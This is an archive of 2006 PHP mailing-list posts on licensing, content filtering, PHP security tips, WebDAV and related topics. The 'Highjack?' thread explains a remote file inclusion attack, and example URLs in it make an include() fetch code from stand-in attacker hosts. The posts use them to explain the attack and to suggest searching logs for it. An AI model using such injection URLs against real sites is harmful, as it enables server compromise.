Re: [PHP] How php works?

2006-12-19 Thread Rory Browne

That's nice.  It's also not what I asked.  I asked what it was that made it
GPL-incompatible.



 6. Redistributions of any form whatsoever must retain the following
acknowledgment:
This product includes PHP software, freely available from
http://www.php.net/software/.


I don't remember why, but this is incompatable with the GPL. IIRC,
it's the difference that makes the modified BSD Licence GPL
Compatable, and the Original BSD Licence Incompatable.

It's a practical problem if there are many such acknowlegment.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Detecting naughty sites

2006-11-28 Thread Rory Browne

If the sites home page contains the words sex, babes, and a few other
choice words, which I'll leave to your imagination, then chances are
it's a porn site.

On 11/28/06, Jochem Maas [EMAIL PROTECTED] wrote:

Dave Goodchild wrote:
 Hi all. I am building a web app and as part of it advertisers can upload
 their ad image and website URL to go with their ad. Is there a good way to
 detect whether that site is a porn site via php?

buy a screen, a PC, a heartrate monitor and small man from thailand - plugin
the PC, sit the man down behind it and hook both him and the heartrate monitor
up to the PC - now start feeding him urls to watch and sync that with the output
of the heartrate monitor. you may need to run an number of these systems in 
parallel to
counter extreme sexual preference in any one unit.



on a more serious note: NO.
neither Yahoo nor Google is capable of successfully filtering pron - if they 
can't
do it neither can you (there is a million to 1 chance your god's own programmer 
and
that you can/will come up with a rock solid solution but I'm not holding my 
breath.

e.g.: http://www.theregister.co.uk/2006/11/23/yahoo_search_result/

(no bias against Yahoo intended, It just happened to be a relevant example that 
was still
floating around my short-term memory.)



I would suggest using a combination of:

1. solid, legally-sound TC
2. require real address, etc with registration - and use a CAPTCHA technique, 
which
may not be nice and accessible but then again when did you last here of a blind 
man
uploading a banner ad image?
3. delay publication of ads until each image has been verified by a human
4. to counter the annoyance of no.3 you could add a 'niceguy' flag to your 
userdata
so that people you trust not to upload pron don't have to wait to be verified.

alternatively only allow text ads (works for Google ;-)



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Detecting naughty sites

2006-11-28 Thread Rory Browne

I didn't mean something quite that simple, or as an absolute solution.

I meant something slightly more advanced, but based on that idea.


From a robot point of view, what do you think is the difference

between the php archives and a porn site?

On 11/28/06, Paul Novitski [EMAIL PROTECTED] wrote:


Hi all. I am building a web app and as part of it advertisers can upload
their ad image and website URL to go with their ad. Is there a good way to
detect whether that site is a porn site via php?

If the sites home page contains the words sex, babes, and a few other
choice words, which I'll leave to your imagination, then chances are
it's a porn site.


What chances are those, exactly?  One in a blizzard?

This is exactly why filtering realistically for pornography is
virtually impossible -- we can't define the problem sufficiently to
derive realistic solutions, and our inherently flawed solutions are weak.

This listserve thread, containing as it does the words sex and
babes and porn, has now flagged the PHP list archives as a porn
site -- for anyone silly enough to use a simple keyword match to
identify porn.  Such a trap would also catch websites discussing
the social  historical significance of porn, sites that detail
ways to identify porn which might include the FBI's, dictionaries
and encyclopedias that explain porn, vendors who try to use sexy
keywords to attract visitors to their non-porn sites, websites on
human sexuality, websites about safe sex, sites about scientific
research in human sexual response, and on and on and on.

Such a simplistic filter would overlook websites written by people
smart enough to obfuscate the key words, say by imagizing them,
misspelling them, or using metaphorical language.

More to the point, though, pornography isn't one concrete thing out
there in the world.  It's nebulous, self-defined, ambiguous,
ever-changing, and psychologically and culturally dependent.  This is
why anti-pornography laws are pissing into the wind (oops, did I just
commit porn?) -- they want to legislate human desire by attempting
to define one corner of creative expression, then discover that
that's like trying to contain any aspect of the human spirit.  You
can only accomplish it partially and temporarily by brute force or
intellectual repression or both.

Better to challenge those aspects of our culture that breed men who
take and take with no empathy for their victims.

I don't think an automated solution (PHP or otherwise) is
feasible.  The best you can do is to create a club advertisers can
ask to join but can remain in only if their ads meet your
approval.  There's no machine that can judge what's porn --
machines get turned on and disgusted by a whole different set of
words and images than we do -- you know, like muddy screwdrivers and
oily vises -- you're going to have to do it yourself.  Look at each
image and judge for yourself.  At least you can rest assured that
your own judgement is sound.

Regards,
Paul

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Running AMP from CD

2006-11-27 Thread Rory Browne

http://www.wellho.net/solutions/general-windows-running-apache-and-mysql-from-a-cd.html

On 11/27/06, Paul Scott [EMAIL PROTECTED] wrote:


On Mon, 2006-11-27 at 03:39 -0800, Ryan A wrote:
 Any help appreciated, even if its a one line link, thanks in advance!

Our team ships our products as an Ubuntu linux Live CD with all the bits
and pieces pre-installed, which also gives the user an option to install
and set up a live server with a single double click. If you are
interested in taking this route, I could set you up with some links, as
well as our ISO that you could modify and re make...

--Paul



All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] To install a small program from a web browser

2006-11-25 Thread Rory Browne

But he still wants to install programs

without knowledge to the users of his membership site (and no it's not a 
pornography site...I
don't do pornography sites).


Let me paraphrase that.

He still wants to circumvent the users security, and install programs
without their knowledge.

Incase I haven't been quite clear so far, let me spell it out.

He wants to commit a crime. In assisting him to do so, you will be an
ascessory to his crime.

Circumventing the security of his members ( unless his members == his
employees, and  he owns the computers his employees use ) is a serious
offence, and one which you should have no part in.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] security question

2006-11-23 Thread Rory Browne

Sorry didn't quite get that finished - hit send by accident ( and had
it go to one person, instead of to the list ).


Few quick tips - not all strictly security related, but may affect security.

Develop with E_ALL. Good code can run under E_ALL without complaining.
On your development build, E_ALL errors should be echoed to the
screen, whilst in a production enviornment, they should be logged (
and checked regularly by ( or emailed to ) the administrator ).

Don't allow include files to execute if called. Everything in an
included file should either be an assignment ( to a static value - not
the return value of a function), or inside a function.

In an included file:
?php
// ok
$variable = Value;

// unsafe - attacker if he can execute your include files directly
// can cause the getValue() function to be run, outside your defined
// enviornment.
$variable = getValue();

function thisfunc(){
// ok - inside function
$variable = getValue();
}
?

of course as well as this, your include files should be (a) outside
your web directory, and (b) protected by a Deny to all in your
Apache config file ( or similar equivlent for other webservers ) and
.htaccess.

These are all of course different layers of security. You work on the
assumption that an attacker can get through any one of them, but hope
that they can't get through them all.

These aren't hard and fast rules - they're just techniques that I use
myself. Just because someone else doesn't use these techniques,
doesn't mean that their techniques are any worse than mine.

Rory


On 11/23/06, Robert Cummings [EMAIL PROTECTED] wrote:
 On Wed, 2006-11-22 at 22:45 -0600, Larry Garfield wrote:
  On Wednesday 22 November 2006 22:38, Robert Cummings wrote:
 
maybe we should all refer to forum and google
  
   Teach a man to fish...
 
  And you lose your monopoly on fisheries.

 Yeah, but I got Park Place and Boardwalk!!! *nyah nyah* :B

 Cheers,
 Rob.
 --
 ..
 | InterJinn Application Framework - http://www.interjinn.com |
 ::
 | An application and templating framework for PHP. Boasting  |
 | a powerful, scalable system for accessing system services  |
 | such as forms, properties, sessions, and caches. InterJinn |
 | also provides an extremely flexible architecture for   |
 | creating re-usable components quickly and easily.  |
 `'

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Please hack my app

2006-11-22 Thread Rory Browne

If you need your code audited ( or site hacked, or any other PHP
security related stuff),
and you have a budget for it.
and if you can find him

you can hire - Chris Shiflett.

google for brainbulb.


On 11/22/06, Ivo F.A.C. Fokkema [EMAIL PROTECTED] wrote:

On Wed, 22 Nov 2006 09:53:00 +, Stut wrote:

 Kevin Waterson wrote:
 This one time, at band camp, Ivo F.A.C. Fokkema [EMAIL PROTECTED] wrote:

 *** THIS IS NOT ABOUT HACKING THE SERVER ***
 But about getting in the application when you're not allowed to!


 So, basically, you want _us_ to do _your_ bug checking??

 And just in case you do find some mug willing to work for you for
 nothing, if you're going to be releasing the source you need to do that
 before asking them to find holes. Having the source code makes it a lot
 easier.


You're right.
http://www.dmd.nl/LOVD/2.0/download.php?sent=true

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Fwd: [PHP] Highjack?

2006-11-13 Thread Rory Browne

-- Forwarded message --
From: Rory Browne [EMAIL PROTECTED]
Date: Nov 13, 2006 7:12 PM
Subject: Re: [PHP] Highjack?
To: [EMAIL PROTECTED]



On 11/13/06, bruce [EMAIL PROTECTED] wrote:


eric...

you say how embarrasing regaring the $path.'foo' i'm curious, why/how
is
this simple piece of code exploitable. assuming $path is not something
that
comes via the url vars (GET/POST/REQUEST)



If register_globals is enabled, someone could
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript.txt?dummy=


The script will then include
http://www.badserver.com/badscript.txt?dummy=script.php


it shouldn't be able to be touched

by external/client processes... similarly, the 'foo' would be static, and
couldn't be munged...

thoughts/explanations...

thanks



-Original Message-
From: Eric Butera [mailto:[EMAIL PROTECTED]
Sent: Monday, November 13, 2006 9:39 AM
To: tedd
Cc: PHP General List
Subject: Re: [PHP] Highjack?


On 11/13/06, tedd [EMAIL PROTECTED] wrote:
 Hi gang:

 While this is not an obvious php question, it does deal with security
 which is a concern.

 Just this morning had a couple of my sites highjacked. What I found
 was someone had replaced my root level index.php with their own
 index.php. You can see the result at:

 http://xn--u2g.com/index1.php

 It was not a terrible loss nor inconvenience, but I wonder how they
 did it. Any ideas how this was done and suggestions as to how to
 prevent this from happening again?

 Thanks,

 tedd

 --
 ---
 http://sperling.com   http://ancientstones.com  http://earthstones.com

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



Tedd,

I've seen this happen before when someone was able to do a remote code
execution exploit on an old version of a very popular open source
shopping cart project.  I'd say the first thing would be to try and
find any include/require statements that are exploitable.  In the case
I was dealing with, it was a problem with register_globals on and an
include that looked a bit like this include($path .'script.php');.
How embarrassing.

If you have access to your server logs look for urls such as
http://example.com/exploited.php?action=http://evil.example.com/inject.txt
.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] PHP product licensing...

2006-11-12 Thread Rory Browne

Google for ASP Loophole.


On 11/12/06, Jon Anderson [EMAIL PROTECTED] wrote:


I'll get right to the point, then explain after... I'm looking to
release some PHP code as partially open-source. Basically a GPL-like
license for non-commercial use, and proprietary license for anyone else.

I'm wondering about people's experience with various licenses
(open-source or not). I'd be really glad to hear opinions and
experiences about any successes and failures.

As for my reasoning:

As I understand it (correct me if I'm wrong), the GPL leaves some holes
with regards to code used internally within a company (especially web
stuff) where GPL'd PHP code can be used and changed internally by that
company without returning changes even if the code is used in a
public-facing website - so long as they don't re-distribute the software.

I've read through a bunch of other licenses, but I'm no lawyer. So
rather than jumping blindly, I thought I'd seek out the opinions of
those who've been there. There's no substitute for the concrete
experience. :-)

I really like the idea of open-source software, so I would very much
like to release my code so that it can benefit the open-source
community, but make sure that commercial use is appropriately controlled
at the same time.

Please reply to the list only, no need to cc.

Cheers,

jon

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] PHP, MySQL- Interested?

2006-11-10 Thread Rory Browne

I fully endorse this as a project for  you to learn php better. Having
a project is the only way you'll learn.

Keep in mind however that there are already frameworks which do the same thing.

Check out cakePHP, or php on trax - the former AFAIK has better docs.

On 11/10/06, John Sladek [EMAIL PROTECTED] wrote:

Hello,

I'm looking for people that like messing around with PHP and MySql.  I've started a 
project to help myself learn more about PHP, MySql.  The program basically takes 
database infomation (username, password, database name and location) as input and 
then uses that info to create php scripts to handle the basic functions of Create, 
Remove, Update  Display for each table. Basically 1 script per table in the 
database.  Also the program builds a little Application framework too.   The script 
function both inside the Application and also stand alone.

Keep in mind I am a beginner @ this stuff and this project is in it's beginning 
stages... I'm just looking for feedback.  I think it rocks but I am Biased
http://www.iobe.net/proj/


Regards,
John Sladek



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] 'View as HTML' Conversions

2006-11-07 Thread Rory Browne

Check out Alfresco. It's basicly a (E)CMS, which you upload word / excel / etc.

It may do everything  you want, or you may be able to extract the
parts you want and leave the rest, or it may be of no use to you
whatsoever.

It basicly sets up an OOo daemon, and connects to it to do its
conversions. Downside ( unless you're also a java dev ) is that the
connector is written in Java, and may be difficult to port to PHP.
Unless it's a clean java class that you can initialise with
www.php.net/java

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] list of countries

2006-11-07 Thread Rory Browne

A MySQL list would have been a better place for this.

Then again

Most people on the MySQL list would have known about
http://dev.mysql.com/doc/world-setup/en/world-setup.html where as
people on this are less likely to.


On 11/7/06, James Tu [EMAIL PROTECTED] wrote:

Does anyone have a list of countries in a handy format for importing
into MySQL?  I just really need a list.  Wikipedia has a nice list,
but it's muddled by HTML tags.

If you also have them in Chinese and Arabic that would be even better.

-James

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Microsoft Partners With Zend

2006-11-06 Thread Rory Browne

On 11/6/06, Martin Cetkovsky [EMAIL PROTECTED] wrote:


Jay Blanchard wrote:
 [snip]
 I guess that's sorta what I'm afraid of... PHP#
 (like the did to Java - J++ - C# )

 Don't get me wrong. C# is a great language (probably one of the few
 things
 that M$ did right), and I'd LOVE to use a real IDE like Visual
 Studio to
 dev in...

 But I'm also terrified they'll pervert PHP.
 [/snip]

 Please NO PHP.NET === ACCCKKK

The .NET compiler for PHP exists for many years. It is created and
managed by students of the Charles University in Prague.



There are already two such compilers, phlanger, and php4mono. You could
probably also user quercus, and ikvm if  you wanted to.

I can imagine playing around with php4mono, or quercus at some stage, but I
can't see myself going near Phalanger. This is mainly due to its dirty
licence:

A few extracts:

You may not modify the Software.,

You may not reverse engineer, decompile, or disassemble the Software,
except and only to the extent that such activity is expressly permitted by
applicable law notwithstanding this limitation.,

and

Your rights under the License end automatically if you breach it in any
way.

combined with

The Software includes libraries in its distribution package (directory
Extensions) that are part of the PHP software

I therefore have a negative viewpoint on the developers, given their failure
to distribute phlanger under an apahe-style licence similar to that  used by
the real PHP.


Re: [PHP] Pear

2006-11-04 Thread Rory Browne

I don't know about the command line pear app, but I don't see how they
either (a) could, or (b) would want to, stop you from using the individual
pear libraries. Unless they scan all the files you ftp to your site.

Just upload the ones that you require.

Some downloadables that use the Pear libraries include the ones that they
require.

You do however have to remember to set the include_path before you include
any pear libs - preferably in a config file, but if your host is not being
nice, you can http://www.php.net/manual/en/function.set-include-path.php

WebFtp sounds sucky. I can't imagine it integrating well with any apps.

On 11/4/06, Alain Roger [EMAIL PROTECTED] wrote:


Hi,

I would like to know if a lot of people use the PEAR system (packages +
core) to their web sites ?

One of my colleague uses it for company internal usage, but i wonder if my
web hoster will allow me to use and install it...because i have only a
webftp access to my business web site...

thanks a lot for your feedback.

Al.




Re: [PHP] Is there such a thing?

2006-10-31 Thread Rory Browne



Do these qualify?

http://www.roadsend.com/home/index.php?SMC=1pageID=compiler
http://www.priadoblender.com



It would be helpful if people would read the link the OP provided, as
opposed to just the URL to that link.

The page isn't about compiling PHP source into a binary.

It's about creating a method of using web applications ( php ) without the
help of a seperate web-server.


Re: [PHP] book on PHP security

2006-10-18 Thread Rory Browne

Essencial PHP Security, Published by O'Reilly, and written by Chris Shiflett

I've never read it, but Book, PHP Security, and Chris Shiflett in the
same sentence means you're in for a treat.

Any serious discussion on this list security related generally involves a
request for input from Chris Shiflett.

On 10/18/06, Angelo Zanetti [EMAIL PROTECTED] wrote:


HI,

can anyone recommend a really good book on security with PHP?

Thanks in advance




Re: [PHP] Interchange.

2006-10-18 Thread Rory Browne

Where are you from, and (more importantly) where do you want to go?

On 10/15/06, João Cândido de Souza Neto [EMAIL PROTECTED] wrote:


I want to go to a foreign country to work for about one year to increase
my
experience.




Re: [PHP] Interchange.

2006-10-15 Thread Rory Browne

What exactly do you mean about a professinal interchange in a foreign
country?

On 10/15/06, João Cândido de Souza Neto [EMAIL PROTECTED] wrote:


Hello everyone.

Firstly my apology for the off topic.

I'm a PHP professional since 2000's.

In a quite near future i'm interested in have a professional interchange
in
a foreign country and i'm here to ask you for any information about it.

Thanks a lot.



Re: [PHP] Crossing over to the Darkside?

2006-10-14 Thread Rory Browne

On 10/14/06, Ross [EMAIL PROTECTED] wrote:


Hello,

Having used php for a while now and am fairly competent I was persuaded by
a
collegue to look into asp.net.  I decided to download the free trial of
VS2005 and start with a few tutorials.

I am very suprised how easy  things like user auhtentication and form
validation is. Literally in minutes. Even though I have written a similar
script many times for php there is always some tweeking or modifying
required before it fits the project. The asp object model is far superior,
something that PHP developers can't really argue against.



That's a bit like saying that apples are better than oranges. PHP and
ASP.NET, while they were designed to server similar, but not identical
purposes, are different tools. PHP is a programming language, but ASP.NET is
a platform, built on the dotNET framework. You could compare something like
CakePHP to ASP.NET, in pretty much the same way as you could compare PHP
itself to C#.


Now I know asp .net is not ideal for all projects but I am now thinking that

there are some projects that would be suited to the use of .net and the
development time would be greatly reduced. I would like to know



Unless dotNET is a total absolute piece of crap, them I'm sure there are
some things that are better suited to the ASP.NET than to their PHP
counterpart. I suspect this would be mainly things that integrate with other
MS technologies.


-What is planned for the next version of PHP?



Google is good for you.
http://www.corephp.co.uk/archives/19-Prepare-for-PHP-6.html

-How many of  you use both of the technologies?

-What influences your decision when using either ASP, .NET, or PHP



The first thing it would depend on would be whether I wanted a framework or
a programming language. If I wanted a framework I'd go with ( out of the
above choices ) ASP.NET, where as if I wanted a programming language I'd go
for PHP. Given the choice however, I'd go with a PHP based framework for
websites, unless they had to integrate with windos services.

I don't currently know ASP.NET enough to use it for production purposes,
added to the fact that most of our machines are Solaris, and not Windos.

I know people feel very strongly about PHP, however I don't want to start an

argument, just want a decent discussion,



You serious? I would never have thought people on the PHP mailing list would
have any interest at all on PHP.


Re: [PHP] Help converting C to PHP

2006-09-23 Thread Rory Browne

Whoops - sorry replied directly to Richard instead of to the list.

Submission process is simply to post to the list. It's probably a good idea
( and acceptable ) to just post an SHA1(MD5 for this purpose is compromised)
hash of your code before the deadline, and submit your actual code shortly
after the deadline.

The result must be greater than the input. For 2 as an input, I'd expect 3
as output.

Rory


Re: [PHP] Help converting C to PHP

2006-09-22 Thread Rory Browne

On 9/22/06, Kevin Waterson [EMAIL PROTECTED] wrote:


This one time, at band camp, Curt Zirzow [EMAIL PROTECTED] wrote:

 what about using:
   php.net/pi

 note the precision description.

 or are we talking about a different pi.

The goal of the codegolf.com challenge is to print pi to 1000 places.
The programmer to do it in the least keystrokes is the winner.



I personally don't think this is a very healthy contest. It discourages
comments, and use of whitespace to make code readable.

I'd perfer a contest that rewarded code readability, and maintainability as
well as minimal keystrokes. After all you only enter the aforementioned
keystrokes once. Perhaps one like codegolf, with an enforced coding style (
eg KR Style, or GNU Style)


Re: [PHP] Help converting C to PHP

2006-09-22 Thread Rory Browne

That aside, I think that it would be very beneficial to the community as a
whole if a contest was started that encouraged readability and good
practices.

The scoring and judging could be done by a panel, but I think that it
would be more fun if the community itself was able to vote on various
attributes; readability, efficiency, general approach, originality, etc.
Allow people to comment on each entry. I don't know about the winner
getting anything besides bragging rights, but it if gets large enough
maybe there can be a few corporate sponsors giving away licenses or
something. Who knows?



Fair enough.
Prime Number Script Competition ( for Bragging Rights ).

I challenge the readers of this list to produce the necessary code to find
the lowest prime number higher than a certain inputted number.

The script must be web based, and ask the user to enter a number. The script
must then calculate the lowest Prime Number above that number.

Scripts will be rated on Functional Accuracy ( the program must correctly
perform its required function ), Code Maintainability(eg Presence of
Comments, etc ), Ease of Use, and Code Efficiency, in that order. Brownie
points may be earned through use interesting or original ideas or
methodologies, provided they do not compromise the previous four criteria.

The submitted script will be rated by volunteers from this list. Submitting
an entry disqualifys you as a volunteer judge, whilst judging someone elses
code disqualifys you as a candidate. Deadline for submissions is 12:00
(Noon) (CEST UTC + 2 Hours) on Friday 29 September.

Interesting to see (a) if anyone enters, and (b) what the code will be like.




I think it would be a lot of fun if well executed.





Re: [PHP] Accessing .mdb Ms Access file from Linux without ODBC

2006-09-07 Thread Rory Browne



what does this have to do with PHP?



I would assume that he's trying to do it on Linux through PHP.

http://mdbtools.sourceforge.net/
http://pecl.php.net/package/mdbtools


Re: [PHP] OT - PHP Hosting Service in UK?

2006-09-05 Thread Rory Browne


 Why?  If they're not hosting it in-house, why does it matter where on
 the globe it is?

Request latency due to distance and intermediate hops. The shorter the
distance and fewer hops the faster those little images, stylesheets, and
various other embedded media will load. This won't be very noticeable on
the first page load due to the download times, but other requests that
check timestamps against cache will appear more sluggish than necessary.




It's also more fault tolerent. I don't imagine this ever happening, but if
the UK was somehow cut off from all other countries internet system, then
the UK customers would still be able to access sites in the UK, but not
sites outside of the UK. It's one less thing that can go wrong.


Re: [PHP] php-general mailing list active?

2006-08-22 Thread Rory Browne

Check out lists.php.net

On 8/22/06, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote:



 Would someone kindly let me know if there is activity on
 [EMAIL PROTECTED] I have not gotten posts for a few days now,
 and I'm having no luck connecting to the help, owner or admin addresses.

Thanks Jochem, Thomas, and Jay.

Anybody know Wez Furlong's email address? I had this problem once before,
and I recall he was the guy who finally figured out what went awry.

David

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




[PHP] Espanol en esto lista

2006-08-16 Thread Rory Browne

No tengo bastante espanol para decir lo que quiero decir aqui correctimente,
pero hay lista php-general-es para los mesajes espanol.
( I don't have enough spanish to say what I want to say here correctly, but
there is a php-general-es list for spanish messages. )

Eso lista es para los mesajes en Ingles, por que muchos personas aqui, no
hablamos bastante espanol para entiendar que quieres decir cuando hablas
espanol.
( This list is for messages in English, because most of the people here
don't speak enough spanish to understand what you mean when  you speak
Spanish)

Yo ( y vivo circa de Espana ) solo hablo bastante para comprar cerveza.
( I (and I live near Spain) only speak enough to buy beer. )


In short, speaking a language other than English on this list( especially
considering that there is a php.general.es -
http://news.php.net/php.general.es ), is similar to whispering in company.
Most of us don't understand what you're saying.

Rory


Re: [PHP] Espanol en esto lista

2006-08-16 Thread Rory Browne

I have a clue what he's saying - just not much of a one:

Hablo espanol, pero lo que Rory dice es verdad, hay otra lista en espanol.

Pero, si quieres, you tratare entender tu palabra.


 ( I speak spanish, but what Rory says is true, there is another list in
spanish, But, if you want you **something** understand your word. )

I don't speak enough Spanish to understand it all, but tratare according to
altavista is to treat - not really sure I get it.


On 8/16/06, Peter Lauri [EMAIL PROTECTED] wrote:


I have no clue what he is saying, but I believe he is asking if there is
any
list in Spanish he can join. But I might be wrong :)

-Original Message-
From: Dave Goodchild [mailto:[EMAIL PROTECTED]
Sent: Wednesday, August 16, 2006 5:20 PM
To: Rory Browne
Cc: php-general@lists.php.net
Subject: Re: [PHP] Espanol en esto lista


 Hablo espanol, pero lo que Rory dice es verdad, hay otra lista en
espanol.
 Pero, si quieres, you tratare entender tu palabra.


 In short, speaking a language other than English on this list(
especially
 considering that there is a php.general.es -
 http://news.php.net/php.general.es ), is similar to whispering in
company.
 Most of us don't understand what you're saying.

 Rory




--
http://www.web-buddha.co.uk
http://www.projectkarma.co.uk




Re: [PHP] Espanol en esto lista

2006-08-16 Thread Rory Browne

On 8/16/06, Mario de Frutos [EMAIL PROTECTED] wrote:


Hi everyone!

I'm spanish and i don't have any problem to answer his questions.



And I don't have any problem with you answering his questions, provided
they're either

(a) posted in English, or (b) posted on the Spanish list, or (c) Posted with
a Translation in English.


Cheers


Peter Lauri escribió:
 I have no clue what he is saying, but I believe he is asking if there is
any
 list in Spanish he can join. But I might be wrong :)

 -Original Message-
 From: Dave Goodchild [mailto:[EMAIL PROTECTED]
 Sent: Wednesday, August 16, 2006 5:20 PM
 To: Rory Browne
 Cc: php-general@lists.php.net
 Subject: Re: [PHP] Espanol en esto lista

 Hablo espanol, pero lo que Rory dice es verdad, hay otra lista en
espanol.
 Pero, si quieres, you tratare entender tu palabra.


 In short, speaking a language other than English on this list(
especially
 considering that there is a php.general.es -
 http://news.php.net/php.general.es ), is similar to whispering in
company.
 Most of us don't understand what you're saying.

 Rory






--
**
FUNDACIÓN CARTIF

  MARIO DE FRUTOS DIEGUEZ - Email: [EMAIL PROTECTED]
División de Ingeniería del Software y Comunicaciones

   Parque Tecnológico de Boecillo, Parcela 205
   47151 - Boecillo (Valladolid) España
  Tel.   (34) 983.54.88.21 Fax(34) 983.54.65.21
**
Este mensaje se dirige exclusivamente a su destinatario y puede contener
información CONFIDENCIAL sometida a secreto profesional o cuya
divulgación esté prohibida en virtud de la legislación vigente. Si ha
recibido este mensaje por error, le rogamos que nos lo comunique
inmediatamente por esta misma vía y proceda a su destrucción.

Nótese que el correo electrónico via Internet no permite asegurar ni la
confidencialidad de los mensajes que se transmiten ni la correcta
recepción de los mismos. En el caso de que el destinatario de este
mensaje no consintiera la utilización del correo electrónico vía
Internet, rogamos lo ponga en nuestro conocimiento de manera inmediata.
***
This message is intended exclusively for its addressee and may contain
information that is CONFIDENTIAL and protected by a professional
privilege or whose disclosure is prohibited by law. If this message has
been received in error, please immediately notify us via e-mail and
delete it.

Please note that Internet e-mail neither guarantees the confidentiality
nor the proper receipt of the messages sent. If the addressee of this
message does not consent to the use of Internet e-mail, please
communicate it to us immediately.


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: Is this really a pdf?

2006-08-07 Thread Rory Browne

On 8/7/06, Colin Guthrie [EMAIL PROTECTED] wrote:


Sjef wrote:
 Is it possible to recognize if a file for upload really is a pdf (like
the
 function getimagesize retuns the file type of the image)?

If you have a suitible mime.magic file, and your PHP has the
functionality built into it, you could try the mime_content_type()
function.
http://uk.php.net/manual/en/function.mime-content-type.php



Is this to protect against somebody trying to pass an mp3 off as a PDF, or
to stop people mistakenly uploading PDF's. If it's the latter, then mime
functions are probably okay. If the former, then you may want something a
little more through.



Or if not available, read the first few bytes of the file and verify

that it begins with:
%PDF-1.3
(or other versions - perhaps just verify the first 4 chars.

You can do this with a simple

$fp = fopen($filename, 'rb'));
if ('%PDF' == fread($fp, 4))
   // PDF
else
   // Not PDF

This is very simple.



And very insecure. All it takes is a cat and echo to disguise a file as a
PDF, and a quick 'dd skip' to Undisguise it.


You could also use the file commandline utility if the server is a

*nix machine and parse it's output.

e.g. on my machine:
[EMAIL PROTECTED] www]$ file ~/Desktop/svn-book.pdf
/home/colin/Desktop/svn-book.pdf: PDF document, version 1.3

or easier:

[EMAIL PROTECTED] www]$ file -i ~/Desktop/svn-book.pdf
/home/colin/Desktop/svn-book.pdf: application/pdf


Col.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




[PHP] HTTP_WebDAV_Server problems

2006-07-30 Thread Rory Browne

Hello All

I'm trying to get a WebDAV server set up using PEAR::HTTP_WebDAV_Server, but
so far I'm having little success.

All I could get from the 11 Slides was that the Class had to be subclassed,
and the methods overloaded, to provide the functionality.

I gathered from the source-code, that I had to instigate the object, and
call the ServeRequest method - This works OK for GET requests via the
Browser, but when I try it in MSWord or OOo, it opens whatever it marked
read only, as opposed to read/write.

I've written the following so far in an attempt to help me understand the
procedure. Any suggestions?

#!/usr/local/php51/bin/php
?php

include_once(HTTP/WebDAV/Server.php);

function wlog($msg){
   $logfile = /tmp/webdav.log;
   $fp = fopen($logfile, a);
   fwrite($fp, $msg . \n);
   fclose($fp);
}

class My_DAV_Server extends HTTP_WebDAV_Server {
   function GET($p){
   wlog(GET: $_SERVER[REQUEST_URI]);

   // for some reason the $_SERVER['PATH_INFO'] is empty
   $path_info = substr($_SERVER['REQUEST_URI'],
strlen($_SERVER['SCRIPT_NAME']));

   $str = You called: $path_info;

   header(Content-Type: text/plain);
   header(Last-Modified:  . date(D, j M Y H:m:s ) . GMT);
   header(Content-Length:  . strlen($str));

   echo $str;

   return true;
   }


   function PUT($p){
   wlog(PUT: $_SERVER[REQUEST_URI]);



   }


   function PROPFIND($p){}

/*
   function COPY($p){}


   function MOVE($p){}


   function DELETE($p){}


   function PROPPATCH($p){}


   function LOCK($p){}


   function UNLOCK($p){}


   function CHECKLOCK($p){}
*/
}

$s = new My_DAV_Server();
$s-ServeRequest();


Re: [PHP] Efficiency question

2006-07-26 Thread Rory Browne

For something like that that, unless you are doing it inside a loop, I
wouldn't really worry about efficiency as much as I would about security

On 7/26/06, Paul Scott [EMAIL PROTECTED] wrote:



I have googled around a bit, but not really found anything useful...

Which is more efficient? A case switch or a $$method style method?

An example:

switch($action) {
case 'edit':
  //do some stuff
  ...
  return edit_tpl.php;

case 'whatever':
  //blah
  ..
  ..
}

OR:

$method=$this-convertToMethod($action);
unset($action);
return $this-$method();

Hope this is reasonably clear... Note the return on the latter code.

If anyone has any ideas around this, please let me know! Are there
underlying security risks in doing it this way?

--Paul



All Email originating from UWC is covered by disclaimer
http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Basic PHP knowledge test

